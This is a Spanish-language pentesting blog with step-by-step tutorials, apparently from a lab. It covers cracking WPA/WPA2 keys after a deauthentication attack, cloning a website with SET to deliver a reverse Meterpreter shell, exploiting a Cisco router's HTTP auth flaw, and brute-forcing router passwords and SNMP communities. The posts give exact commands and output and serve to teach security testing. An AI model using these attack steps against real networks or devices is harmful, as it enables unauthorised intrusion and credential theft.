lunes 12 de diciembre de 2011

Cracking WPA/WPA2 con CoWPAtty & Aircrack-ng

Aunque WPA (Wi-Fi Protected Access) es más seguro que WEP (Wired Equivalent Privacy), en el instante inicial en que la conexión se establece, WPA es más vulnerable que WEP ya que es necesario capturar un menor número de frames (solo es necesario capturar un total de 4 frames del handshake intercambiadas entre el cliente y el punto de acceso para llevar el descubrimiento de claves) para obtener la clave inicial de cifrado mediante ataques de diccionario.

WPA es vulnerable a un ataque de diccionario y para este ataque es necesario el obtener el 4 way handshake entre el cliente y el punto de acceso. Es necesario también un wordlist o diccionario de palabras. Luego, utilizando herramientas como CoWPAtty y Aircrack-ng intentar obtener la clave pre compartida de WPA/WPA2.

CoWPAtty fue creado por Joshua Wright http://www.willhackforsushi.com/?page_id=50 y tiene todas las características que uno podría desear de una buena herramienta sin salir de su propósito. Esta herramienta es para automatizar el ataque de diccionario a las redes WPA-PSK y es muy sencillo de utilizar. Lo primero que haremos es lanzara airodump-ng para seleccionar un objetivo.
root@bt:~# airodump-ng mon0
En buscando de un Objetivo.

Tal como podemos ver en la imagen anterior, hay dos clientes conectados a la red "Wireless" y tiene encriptación WPA, con cifrado TKIP. Ahora lo que aremos es lanzar airodump-ng para que escuche en el canal donde esta transmitiendo el punto de acceso que tenemos como objetivo, en este caso "Wireless" que esta transmitiendo en el canal 11 y despues lanzar el "Ataque 0 Deautenticación" para desautenticar a un cliente y así obtener el 4 way handshake.
root@bt:~# airodump-ng --channel 11 --bssid FX:XX:XX:XF:AB:7C --write wpademo mon0
Para obtener la captura completa de 4 frames del handshake, es necesario que haya al menos un cliente conectado o esperar a que un cliente se conecte (esto si eres muy paciente :D). Si hay un cliente conectado lo que se hará es realizar el ataque “-–deauth” o también conocido como “ataque 0” utilizando aireplay-ng y lo que sucederá aquí es, que desasociaremos al cliente conectado actualmente al punto de acceso y cuando se vuelve a conectar obtendremos los 4 frames del handshake. El detalle es que si no hay clientes conectados al punto de acceso, no podremos obtener la clave WPA ya que es necesario que haya clientes conectados o esperar que alguien se conecte al AP para la obtención del four-way handshake.

Bueno en mi caso lo que hare es desautenticar el cliente con direccion MAC "0C:XX:76:XX:D5:5B" del ESSID "Wireless".
root@bt:~# aireplay-ng --deauth 1 -a FX:XX:XX:XF:AB:7C -c 00:60:76:71:D5:5B mon0

Desautentificación de un cliente wifi.

He desasociado al cliente del punto del acceso, ahora el cliente lo que hará es volver a reautenticarse y es entonces cuando obtendremos los 4 paquetes del handshake. En la reautenticación se generarán los 4 paquetes de autenticación (handshake) en los que estamos interesados en capturar. Después estos paquetes los usaremos para intentar obtener la clave precompartida WPA/WPA2.

Bueno ahora pongan atención en la siguiente imagen donde se muestra una sesión de airodump-ng y en la parte superior de la imagen se muestra un mensaje "WPA handshake F4:C7:14:6F:AB:7". El four-way handshake ha sido capturado.

Four-way handshake capturado.

Tal y como se muestra en la imagen anterior, hemos obtenido los 4 paquetes handshake. Estos cuatro paquetes como lo mencionamos anteriormente los utilizaremos para obtener la clave WPA/WPA2 precompartida. Para esto necesitaremos un wordlist o diccionario de palabras, el cual contiene la contraseña de WPA/WPA2-PSK.

Antes de pasar al siguiente paso, ahora lo que haremos es detener airodump-ng y abriremos el archivos ".cap" capturado con Wireshark para ver el “four-way handshake”. El archivo debe ser algo similar a la siguiente captura.

EAPOL Key

Bueno ahora lo que haremos es empezar el crackeo, para esto necesitaremos un wordlist y es aquí donde entra en juego CoWPAtty. Debemos de indicarle a CoWPAtty la ruta donde tenemos el wordlist o diccionario de palabras, también la captura del four-way handshake y por ultimo el SSID de la red wifi, que en este caso es "Wireless". Básicamente lo que hara CoWPAtty es ir comprobando cada una de esas palabras que contiene el diccionario si coincide con la clave. Este proceso todo será dependiendo de la velocidad de nuestro CPU, también de la calidad y el tamaño del diccionario de palabras (wordlist), esto puede llevar bastante tiempo, incluso días o años jeje si eres impaciente puedes esperar :D. Bueno Lanzamos CoWPAtty desde consola.
root@bt:~# cowpatty -r wpademo-02.cap -f /pentest/passwords/john/password.lst -2 -s Wireless
El Crackeo con CoWPAtty ha tenido éxito.

Para especificar nuestro diccionario de palabras lo hacemos con el parámetro –f (-f /pentest/passwords/john/password.lst), el SSID con el parámetro –s (-s Wireless) y el archivo capturado con el parámetro –r (-r wpademo-02.cap). El ultimo parámetro -2, es el modo no estricto, esto se requiere cuando no tenemos capturados los 4 frames del handshake, es decir el paquete completo. Por cierto una opción bastante buena.

En este ejemplo he utilizado un diccionario de palabras que lo trae incluido BackTrack de John the Ripper, el archivo se encuentra en el directorio /pentest/passwords/john/password.lst

Es importante comentar que para el crackeo de WPA debemos de tener un muy buen diccionario de palabras. La distribución de BackTrack incluye unos cuantos diccionarios pero estos puede que no sean suficientes, para esto deben de buscar en Google o igual existen generadores de palabras que automatizan este proceso de generar diccionarios.

Ahora veamos un ejemplo final utilizando Aircrak-ng. Vamos a especificar la ruta de nuestro diccionario con el parámetro –w (-w /pentest/passwords/john/password.lst) y nuestro archivo de captura (wpademo-02.cap).
root@bt:~# aircrack-ng -w /pentest/passwords/john/password.lst wpademo-02.cap
Aircrack-ng en Acción.

Para el crackeo de WPA2 el proceso es el mismo, no hay diferencia. También hay que tener muy en cuenta de que al tratarse de un ataque de diccionario el requisito previo es que la contraseña debe estar en el diccionario de palabras que le estamos indicando, si la frase u contraseña no se encuentra en el diccionario, el ataque no tendrá éxito.

domingo 11 de diciembre de 2011

Updating Metasploit Framework & Social Engineer Toolkit en BackTrack 5

Social Engineer Toolkit (SET) se integra muy bien con Metasploit. Al usar cualquier de estas herramientas, siempre es bueno asegurarse de tener la ultima versión. Con Metasploit la regla de oro es actualizarlo a diario jeje bueno al menos cuando lo utilices, ten asegurado de tener la ultima versión, antes de cualquier prueba.

Para actualizar Metasploit Framework solo tenemos que ir al Menu BackTrack - Exploitation Tools - Network Exploitation Tools - Metasploit Framework - msfupdate o también lo podemos hacer desde consola, tecleando el siguiente comando.
#msfupdate
Para actualizar la herramienta Social Engineer Toolkit (SET) solo tenemos que ir a la dirección donde se encuentra la herramienta y ejecutarla.
root@bt:~# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ls
config modules readme reports set set-automate set-proxy set-update setup.py set-web src
root@bt:/pentest/exploits/set# ./set
Una vez ejecutado nos preguntara la tarea que deseamos realizar.
Select from the menu:

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set> 5
Elegimos la opción 5, que es para actualizar y listo. También podemos hacerlo en un solo paso desde consola tecleando el siguiente comando. ./set-update
root@bt:/pentest/exploits/set# ./set-update

sábado 10 de diciembre de 2011

Vector de Ataque Web con Social-Engineer Toolkit (SET)

Social-Engineer Toolkit (SET) es un conjunto de colección de scripts en Python especialmente diseñadas para realizar ataques de ingeniería social en procesos de auditorias de seguridad. Esta herramienta fue creada por David Kennedy (ReL1K), el mismo creador de otra herramienta muy popular llamada Fast-Track, que también es una herramienta que automatiza algunos ataques más comunes y más usados en las pruebas de penetración (penetration test) mediante algunos scripts hechos en Python.

Social-Engineer Toolkit (SET) nos permite crear archivos PDF, sitios web falsos y enviar correos electrónicos con código malicioso incrustado, por cierto también se integra con el Metasploit Framework.

Como bien sabran y se han dado cuenta, la ingeniería social no es nada nuevo, los ataques de ingeniería social están ahora en su punto más alto, es decir en pleno auge y siempre han sido un gran riesgo para muchas organizaciones. Una persona que esta tratando de convencer a otras personas para que realicen actos que normalmente no harian es muy antigua como la misma historia de la tierra :D

Muchos creen que la ingeniería social es uno de los mayores riesgos que enfrentan las organizaciones actualmente, ya que es muy difícil proteger a las organizaciones de estos ataques. Por ejemplo puede que se acuerden del ataque a Google, del llamado “Operación Aurora” (también conocida como Comele o Hydraq) en el que la técnica de ingeniería social fue utilizada para atacar a Gmail y otras fuentes de Google.

Un vector de ataque es la vía que se utiliza para obtener información o acceso a un determinado sistema y la herramienta Social-Engineer Toolkit (SET) clasifica a los ataques por vectores de ataques web, correo, electrónico y también los ataques basados en USB. Utiliza correo electrónico, sitios web falso y otros vectores que típicamente lo que hacen es engañar a los usuarios a comprometer la información sensible. Cada vector puede tener éxito o todo lo contrario, dependiendo del objetivo a atacar y también el tipo de comunicación utilizada. SET también viene con correos electrónicos y plantillas de páginas web ya predefinidas que pueden ser utilizadas para los ataques de ingeniería social, también utiliza la herramienta Metasploit Framework. Así que en este post se mostrara un ejemplo de vector de ataque basado en web, manos a la obra y listos para la primera prueba.

Herramientas Utilizadas

Instalación de Social Engineer Toolkit (SET)

La instalación de SET es sencilla, lo que necesitamos es tener instalado Phyton y Metasploit Framework, ambas herramientas están instaladas en la distribución de BackTrack y no hay que preocuparnos por nada sobre cosas de la configuración e instalación, solo tenemos que tener actualizados a las versiones más recientes. Pero si requieren instalarlo en alguna otra distribución diferente, solo abrir la consola y teclear o copiar el siguiente comando.
svn co http://svn.secmaniac.com/social_engineering_toolkit set/
Después de ejecutar el comando anterior, tendremos un nuevo directorio que contiene todas herramientas necesarias para la ejecución de Social-Engineer Toolkit (SET).

Ejecutando Social-Engineer Toolkit (SET)

Para ejecutar SET es un proceso sencillo, ya que solo tenemos que abrir una terminal o consola y simplemente tenemos que teclear ./set. Bueno lo primero tenemos que estar en el directorio donde tenemos la herramienta, en BackTrack se encuentra en el directorio /pentest/exploits/set/. Lo haremos de la siguiente manera.
root@bt:~# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# ls
config modules readme reports set set-automate set-proxy set-update setup.py set-web src
root@bt:/pentest/exploits/set# ./set
Ejecución de Social-Engineer Toolkit (SET).

El comando ./set inicia la ejecución de SET y nos muestra el menú inicial. En este post veremos un ejemplo de un vector de ataque basado en web, clonando un sitio web y utilizando el método de ataque de Java Applet.

Website Attack Vectors

Los vectores de ataque web son probablemente uno de los aspectos más avanzados e interesantes de esta herramienta ya que están especialmente diseñados para ser de un aspecto muy creíble y de una apariencia muy atractiva para la víctima. Esta herramienta puede clonar sitios web que son idénticos a los sitios de confianza que normalmente visita un usuario normal, esto asegura a la víctima de que aparentemente está visitando un sitio legítimo.

Java Applet Attack

Uno de los ataques basados en un sitio web que tienes disponible Social-Engineer Toolkit (SET), es el ataque de Java Applet (Java Applet Attack), es uno de los vectores de ataque más exitoso de esta herramienta. Este ataque malicioso lo que hace es mostrar un applet de Java en el navegador web invitando a que el usuario de clic, en este caso a ejecutar el applet. Este ataque no se considera una vulnerabilidad de Java.

Para ejecutar este ataque en el menú principal de SET debemos primero elegir la opción 2, Website Attack Vectors. Al elegir la esta opción, nos mostrara en consola las siguientes opciones.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Create or import a CodeSigning Certificate

Java Applet Attack Method

Elegimos la opción 1, Java Applet Attack Method y nos mostrara lo siguiente.


Elegimos la opción que 1 o 2, en mi caso la opción 2 donde pongo el sitio a clonar, en mi caso puse mi blog, delfirosales.blogspot.com y se generara la clonación del sitio.

Hemos creado un servidor de alojamiento con un sitio web clonado en este caso, el sitio es mi blog delfirosales.blogspot.com.
En el siguiente paso dependiendo del escenario u objetivo elegimos la opción adecuada, en mi caso realice la prueba con la opción 2, Windows Reverse_TCP Meterpreter.


Después elegimos el backdoor, en mi caso elegí la opción 16, Backdoored Executable (BEST), elegimos el puerto, esperamos a que se genere la configuración y esperamos a que cargue Metasploit Framework.


Ahora que tenemos todo listo, solo tenemos que tener un objetivo a atacar para que navegue a través del sitio malicioso. Al llegar a la pagina web, la victima se le mostrar una advertencia pop-up tal como se muestra en la siguiente figura.


Si la victima da clic en Ejecutar (que por cierto la mayoría de los usuarios la hacen) el exploit será ejecutado y con esto tendremos acceso y el control total del sistema de la victima, en este caso la maquina con Windows XP SP3, tal y como se muestran en las siguientes imágenes.


De vuelta en nuestro equipo atacante, la sesión de Meterpreter se ha establecido correctamente y ahora tenemos el acceso a la maquina de la victima, tal como se muestra.


Referencias:
Computer Based Social Engineering Tools: Social Engineer Toolkit (SET)
Social Engineering: The Art of Human Hacking
Penetration Tester's Open Source Toolkit, Third Edition

lunes 5 de diciembre de 2011

Cisco Global Exploiter

Cisco Global Exploiter (CGE) es un pequeño script hecho en Perl que combina 14 vulnerabilidades individuales que pueden ser contrastadas con los dispositivos Cisco. Es importante señalar que estas vulnerabilidades representan a sólo un conjunto específico de los equipos Cisco y esta pequeña herramienta no está completamente diseñada para realizar una evaluación de todas las necesidades de seguridad de estos equipos.

Para abrir Cisco Global Exploiter lo podemos hacer desde la terminal.

cd /pentest/cisco/cisco-global-exploiter/
./cge.pl

Usage :
perl cge.pl

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability

root@delfi:/pentest/cisco/cisco-global-exploiter#
Opciones Cisco Global Exploiter.

En la imagen anterior se muestran las opciones y las instrucciones de uso de esta mini herramienta, también muestra una lista de 14 vulnerabilidades en un orden definido. De la lista de vulnerabilidades tomaremos un ejemplo para realizar una prueba contra un equipos cisco modelo 2600, así que lanzamos la prueba desde consola con el siguiente comando.

root@delfi:/pentest/cisco/cisco-global-exploiter# ./cge.pl 192.168.1.75 3
Vulnerability unsuccessful exploited ...

Vulnerability successful exploited with [http://192.168.1.75/level/18/exec/....]

Vulnerability Successful Exploited.

En este caso, la prueba se ha realizado utilizando la opción [3] - Cisco IOS HTTP Auth Vulnerability y como podemos ver la vulnerabilidad ha sido explotada con éxito.

Acceso al Router 2600 de nombre R2_WAN.

Ahora desde el explorador podemos ejecutar comandos del router sin ningún tipo de autenticación.

domingo 4 de diciembre de 2011

Password Brute Force con Cisco Auditing Tool

Cisco Auditing Tool (CAT) es una mini herramienta de auditoría de seguridad. Analiza las vulnerabilidades mas comunes de los routers Cisco, como las contraseñas por defecto, las cadenas de comunidad SNMP y algunos de los antiguos errores del IOS. Incluye tambien soporte para demás plugins y el escaneo de múltiples hosts.

En BackTrack para iniciar la herramienta Cisco Auditing Tool nos vamos al menú Aplications - BackTrack - Vulnerability Assessment - Network Assessment - Cisco Tools. Una vez que la ventana de la consola se haya cargado correctamente, podremos mirar todas las opciones posibles que podemos utilizar en contra del nuestro objetivo.

Cisco Auditing Tool en BackTrack.

En caso de que decidamos utilizar la herramienta directamente desde la terminal, lo podemos realzar de la siguiente manera.

cd /pentest/cisco/cisco-auditing-tool/
./CAT --help

Y lo anterior nos mostrara lo siguiente.
./CAT version [unknown] calling Getopt::Std::getopts (version 1.06 [paranoid]),
running under Perl version 5.10.1.

Usage: CAT [-OPTIONS [-MORE_OPTIONS]] [--] [PROGRAM_ARG1 ...]

The following single-character options are accepted:
With arguments: -h -f -p -w -a -l
Boolean (without arguments): -i -q

Options may be merged together. -- stops processing of options.
Space is not required between options and their arguments.
[Now continuing due to backward compatibility and excessive paranoia.
See ``perldoc Getopt::Std'' about $Getopt::Std::STANDARD_HELP_VERSION.]

Cisco Auditing Tool - g0ne [null0]
Usage:
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)

root@delfi:/pentest/cisco/cisco-auditing-tool#
Cisco Auditing Tool.

Estas son las opciones y descripciones sobre el uso de CAT. Vamos a ejecutar las siguientes opciones en contra de nuestro objetivo, un dispositivo Cisco (2600).

-h hostname (for scanning single hosts)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)

Esta combinación de fuerza bruta y escaneo del dispositivo cisco es para averiguar cualquier contraseña conocida y los nombres de las comunidades SNMP. Antes de realizar la prueba, tenemos que actualizar también la lista de las contraseñas y community strings de SNMP en la ruta pentest/cisco/cisco-auditing-tool/lists con el fin de obtener una mayor probabilidad de éxito. Bueno vamos a realizarlo de la siguiente manera.

./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1

root@delfi:/pentest/cisco/cisco-auditing-tool# ./CAT -h 192.168.1.102 -w lists/community -a lists/passwords -1
Unknown option: 1

Cisco Auditing Tool - g0ne [null0]

Checking Host: 192.168.1.102

Guessing passwords:

Invalid Password: list
Invalid Password: cisco1
Invalid Password: cisco
Invalid Password: passwordvty
Password Found: p4sswordvty
Invalid Password: ciscos
Invalid Password: public
Invalid Password: private
Invalid Password: admin
Invalid Password: cisco_comu
Invalid Password: cisco1
Invalid Password: cisco2
Invalid Password: router
Invalid Password: routercisco
Invalid Password: secret
Invalid Password: Cisco
Invalid Password: telnet
Invalid Password: 123456
Invalid Password: default
Invalid Password: nicolay
Invalid Password: router1
Invalid Password:

Guessing Community Names:

Invalid Community Name: list
Community Name Found: public
Community Name Found: private
Invalid Community Name: cisco
Invalid Community Name: cisco1
Community Name Found: ciscos
Invalid Community Name: default
Invalid Community Name: Cisco
Community Name Found: cisco_comu
Invalid Community Name: adm

---------------------------------------------------
Audit Complete
Salida de Cisco Auditing Tool.

Para obtener mejores resultados lo recomendable es editar los archivos que se encuentran en la ruta pentest/cisco/cisco-auditing-tool/lists podemos utilizar cualquier editor de texto o el editor Vim para agregar mas palabras a los archivos y así obtener unos mejores resultados de salida.